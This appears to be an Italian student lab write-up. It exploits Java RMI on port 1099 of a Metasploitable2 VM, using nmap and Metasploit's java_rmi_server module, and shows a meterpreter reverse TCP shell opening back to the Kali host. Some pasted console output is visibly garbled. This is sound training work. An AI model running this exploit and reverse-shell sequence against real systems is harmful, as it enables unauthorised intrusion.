Progetto S7L5

Configuro gli ip delle macchine come da richiesta

Kali: 192.168.11.111

Metasploitable2: 192.168.11.112

```
msfadmin@metasploitable:~$ ifconfig
         Link encap:Ethernet HWaddr 08:00:27:71:2f:a3
eth0
         inet addr:192.168.11.112 Bcast:192.168.11.255
                                                          Mask: 255.255.255.0
          inet6 addr: fe80::a00:27ff:fe71:2fa3/64 Scope:Link
         UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
         RX packets:135 errors:0 dropped:0 overruns:0 frame:0
         TX packets:76 errors:0 dropped:0 overruns:0 carrier:0
         collisions:0 txqueuelen:1000
         RX bytes:8640 (8.4 KB) TX bytes:7873 (7.6 KB)
         Base address:0xd020 Memory:f0200000-f0220000
lo
         Link encap:Local Loopback
         inet addr:127.0.0.1 Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
         UP LOOPBACK RUNNING MTU: 16436 Metric: 1
         RX packets:143 errors:0 dropped:0 overruns:0 frame:0
         TX packets:143 errors:0 dropped:0 overruns:0 carrier:0
         collisions:0 txqueuelen:0
         RX bytes:39217 (38.2 KB) TX bytes:39217 (38.2 KB)
```

Controllo che la kali comunichi con la metasploitable2

Scansiono la metasploitable2 alla ricerca di vulnerabiltà

```
*** nmap -sV -T5 192.168.11.112

Starting Nmap 7.945VN ( https://nmap.org ) at 2024-12-20 09:39 CET

Nmap scan report for 192.168.11.112

Host is up (0.0019s latency).
Not shown: 978 closed tcp ports (reset)
PORT STATE SERVICE VERSION
                                                           VERSION
                  open ftp
open ssh
                                                           vsftpd 2.3.4
                                                           OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
Linux telnetd
23/tcp open telnet Linux telnetd
25/tcp open smtp Postfix smtpd
53/tcp open domain ISC BIND 9.4.2
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp open rpcbind 2 (RPC #100000)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open loging
512/tcp open loging
108/tcp open loging
 513/tcp open login?
514/tcp open shell
1099/tcp open java-rm
                                                          Netkit rshd
GNU Classpath grmiregistry
                                 java-rmi
1099/tcp open java-rmi GNU Classpath grmiregistry
1524/tcp open bindshell Metasploitable root shell
2049/tcp open nfs 2-4 (RPC #100003)
2121/tcp open ftp ProFTPD 1.3.1
3306/tcp open mysql MySQL 5.0.51a-3ubuntu5
5432/tcp open vnc VNC (protocol 3.3)
5900/tcp open vnc
6000/tcp open X11
                                                           VNC (protocol 3.3)
                                                           (access denied)
 6667/tcp open irc
                                                           UnrealIRCd
8180/tcp open unknown
MAC Address: 08:00:27:71:2F:A3 (Oracle VirtualBox virtual NIC)
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 202.03 seconds
```

Osservo il servizio java-rmi sulla porta 1099 e preparo l'attacco

Apro metasploit e vado alla ricerca di un exploit per il servizio attivo

```
Matching Modules

# Name Disclosure Date Rank Check Description

0 auxiliary/gather/java_rmi_registry ... normal No Java RMI Registry Interfaces Enumeration

1 exploit/multi/misc/java_rmi_server 2011-10-15 excellent Yes Java RMI Server Insecure Default Configuration Java Code Execution

2 \ target: Generic (Java Payload) ... ...

3 \ target: Windows x86 (Native Payload) ... ...

4 \ target: Linux x86 (Native Payload) ... ...

5 \ target: Mac OS X PPC (Native Payload) ... ...

7 auxiliary/scanner/misc/java_rmi_server 2011-10-15 normal No Java RMI Server Insecure Endpoint Code Execution Scanner excellent No Java RMI Server Insecure Endpoint Code Execution Scanner excellent No Java RMI Server Insecure Endpoint Code Execution Scanner excellent No Java RMI Server Insecure Endpoint Code Execution Scanner excellent No Java RMI Server Insecure Endpoint Code Execution Scanner excellent No Java RMI Server Insecure Endpoint Code Execution Privilege Escalation

Interact with a module by name or index. For example info 8, use 8 or use exploit/multi/browser/java_rmi_connection_impl

**Sf6 > use 4**

**Additionally setting TARGET ⇒ Linux x86 (Native Payload)*

**I Additionally setting TARGET ⇒ Linux x86 (Native Payload)*

**I No payload configured, defaulting to linux/x86/meterpreter/reverse_tcp
```

Trovo un exploit lo eseguo e lo configuro

Imposto il target e controllo che tutte le opzioni siano corrette

Lancio il comando, si apre una sessione meterpreter e vado alla ricerca delle informazioni richieste

```
View the full module info with the info, or info -d command.
msf6 exploit(multi/misc/java_rmi_server) > run
[*] Started reverse TCP handler on 192.168.11.111:4444
[*] Started reverse TCP Handter On 192.108.11.111.4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/uNAyaKkrjH
[*] 192.168.11.112:1099 - Sending RMI Header...
[*] 192.168.11.112:1099 - Sending RMI Call...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (1017704 bytes) to 192.168.11.112
[*] Meterpreter session 2 opened (192.168.11.111:4444 \rightarrow 192.168.11.112:49756) at 2024-12-20 09:59:32 +0100
meterpreter > ifconfig
Interface 1
Hardware MAC : 00:00:00:00:00:00
               : 16436
MTU
Flags : UP,LOOPBACK
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:
Interface 2
Name
                : eth0
Hardware MAC : 08:00:27:71:2f:a3
         : 1500
Flags
                 : UP, BROADCAST, MULTICAST
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fe71:2fa3
IPv6 Netmask : ffff:ffff:ffff::
meterpreter > route
IPv4 network routes
     Subnet
                        Netmask
                                            Gateway
                                                               Metric Interface
                                            192.168.11.1 100
                                                                          eth0
     192.168.11.0 255.255.255.0 0.0.0.0
                                                                          eth0
                                                               0
No IPv6 routes were found.
```